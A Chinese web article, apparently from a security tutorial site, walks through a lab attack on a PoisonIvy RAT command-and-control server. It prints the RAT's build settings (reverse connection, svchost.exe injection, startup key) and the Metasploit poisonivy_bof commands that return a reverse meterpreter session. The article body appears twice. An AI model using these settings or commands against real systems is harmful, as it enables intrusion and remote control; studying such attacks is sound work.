PoisonIvy Rat 遠程溢出實戰(zhàn)
發(fā)布時間：2012-07-09 16:50:44 作者：佚名 
我要評論
我要評論這個Exploit已經(jīng)集成在最新版本的Msf中了,老外的文章里也有源文件,可以修改后單獨提出來.
From&thx2:
http://badishi.com/poison-ivy-exploit-metasploit-module/
https://twitter.com/badishi
這個Exploit已經(jīng)集成在最新版本的Msf中了,老外的文章里也有源文件,可以修改后單獨提出來.
首先為了模擬完整的環(huán)境,第一步是抓到已經(jīng)成為肉雞的電腦上反向連接的IP,這里順便介紹下簡單ARK工具的使用及手工查馬的方法吧.
PI的反向連接配置,這里填的靜態(tài)IP
啟動項及釋放目錄等,同時設(shè)定的插默認(rèn)瀏覽器和svchost.exe.
完整的配置信息如下:
- Connection
Connect to: 92.168.124.134:3460:0,
ID: test
Group:
Password: admin
Connect through proxy: No
- Install
ActiveX Startup: Yes
ActiveX Key: {344D13DD-52AF-DD3F-2A33-ED4792414430}
Copy File: Yes
File Name: svchost.exe
Copy File To: System Folder
Melt File: Yes
- Advanced
Process Mutex: )!VoqA.I4
Inject Server: Yes
Persistence: No
Inject into running process: Yes
Inject into: svchost.exe
Key Logger: No
Format: PE
File Alignment: 512
- Build
Icon: No
Execute Third-party Applications: No
在DEMO機器中運行,然后上線了.
DEMO機器中手工用Xuetr查殺,手工查殺木馬的方法,對于Ring3層下的無非就是可疑進程,可疑連接,可疑DLL模塊,可疑啟動項(服務(wù)),等等這些了.這里直接參考建立的網(wǎng)絡(luò)連接.都能看到這里并沒有打開IE卻有了IE的進程,并且是已經(jīng)連接的狀態(tài)了.于是得到C&C的IP地址.
請出Msf黑火星的神器.
msf>search poisonivy
找到exp位置
msf>use /exploit/windows/misc/poisonivy_bof
設(shè)定使用exp
msf>show options
查看下設(shè)定,只要設(shè)定下遠程IP(C&C服務(wù)器)地址就可以了.
msf>set RHOST 192.168.124.134
檢查下是否存在漏洞
msf>check
ok.. just exploit it!
msf>exploit
默認(rèn)會返回一個反連的meterpreter會話.
最后.測試了下全補丁版本的Windows 2k3 enterprise,可能因為DEP和ALSR技術(shù)的原因,沒有完全bypass具體的原因沒有深入下去了.
http://badishi.com/poison-ivy-exploit-metasploit-module/
https://twitter.com/badishi
這個Exploit已經(jīng)集成在最新版本的Msf中了,老外的文章里也有源文件,可以修改后單獨提出來.
首先為了模擬完整的環(huán)境,第一步是抓到已經(jīng)成為肉雞的電腦上反向連接的IP,這里順便介紹下簡單ARK工具的使用及手工查馬的方法吧.
PI的反向連接配置,這里填的靜態(tài)IP
啟動項及釋放目錄等,同時設(shè)定的插默認(rèn)瀏覽器和svchost.exe.
完整的配置信息如下:
- Connection
Connect to: 92.168.124.134:3460:0,
ID: test
Group:
Password: admin
Connect through proxy: No
- Install
ActiveX Startup: Yes
ActiveX Key: {344D13DD-52AF-DD3F-2A33-ED4792414430}
Copy File: Yes
File Name: svchost.exe
Copy File To: System Folder
Melt File: Yes
- Advanced
Process Mutex: )!VoqA.I4
Inject Server: Yes
Persistence: No
Inject into running process: Yes
Inject into: svchost.exe
Key Logger: No
Format: PE
File Alignment: 512
- Build
Icon: No
Execute Third-party Applications: No
在DEMO機器中運行,然后上線了.
DEMO機器中手工用Xuetr查殺,手工查殺木馬的方法,對于Ring3層下的無非就是可疑進程,可疑連接,可疑DLL模塊,可疑啟動項(服務(wù)),等等這些了.這里直接參考建立的網(wǎng)絡(luò)連接.都能看到這里并沒有打開IE卻有了IE的進程,并且是已經(jīng)連接的狀態(tài)了.于是得到C&C的IP地址.
請出Msf黑火星的神器.
msf>search poisonivy
找到exp位置
msf>use /exploit/windows/misc/poisonivy_bof
設(shè)定使用exp
msf>show options
查看下設(shè)定,只要設(shè)定下遠程IP(C&C服務(wù)器)地址就可以了.
msf>set RHOST 192.168.124.134
檢查下是否存在漏洞
msf>check
ok.. just exploit it!
msf>exploit
默認(rèn)會返回一個反連的meterpreter會話.
最后.測試了下全補丁版本的Windows 2k3 enterprise,可能因為DEP和ALSR技術(shù)的原因,沒有完全bypass具體的原因沒有深入下去了.
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來介紹一下thinkphp官方修復(fù)的一個getshell漏洞，框架對控制器沒有進行足夠的檢測導(dǎo)致的一處getshell，小編覺得挺不錯的，現(xiàn)在分享給大家，也給大家做個參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊，主要依靠站點服務(wù)端返回腳本，在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語句（完整版）
這里為大家分享一下sql注入的一些語句，很多情況下由于程序員的安全意識薄弱或基本功不足就容易導(dǎo)致sql注入安全問題，建議大家多看一下網(wǎng)上的安全文章，最好的防范就是先學(xué)2017-05-19- 對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會自動的記錄下你的IP地址,提交的非法參數(shù)和動作等,2017-04-29
XSS繞過技術(shù) XSS插入繞過一些方式總結(jié)
我們友情進行XSS檢查，偶然跳出個小彈窗，其中我們總結(jié)了一些平時可能用到的XSS插入方式，方便我們以后進行快速檢查，也提供了一定的思路，其中XSS有反射、存儲、DOM這三類2016-12-27- 這篇文章主要介紹了Python 爬蟲使用動態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08
- 這篇文章主要介紹了使用爬蟲采集網(wǎng)站時，解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08
